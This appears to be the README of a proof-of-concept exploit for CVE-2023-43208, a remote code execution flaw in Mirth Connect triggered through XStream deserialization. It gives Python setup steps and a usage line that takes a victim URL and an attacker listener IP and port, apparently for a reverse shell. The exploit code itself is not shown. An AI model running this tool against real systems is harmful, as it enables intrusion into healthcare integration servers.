Mirth Connect RCE Exploit (CVE-2023-43208)

This script is a Proof of Concept (PoC) for the Remote Code Execution (RCE) vulnerability in Mirth Connect (versions prior to 4.4.1). It exploits an XStream deserialization vulnerability through the API.

Requirements

• Python 3.10 or higher (Compatible with 3.13).
• Network connectivity to the target.

Tool Usage

python3 CVE-2023-43208.py -u [https://IP-victim] -lh [IP-attacker] -lp [port]

Installation

It is recommended to use a virtual environment:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

#Payload Execution

python3 payload.py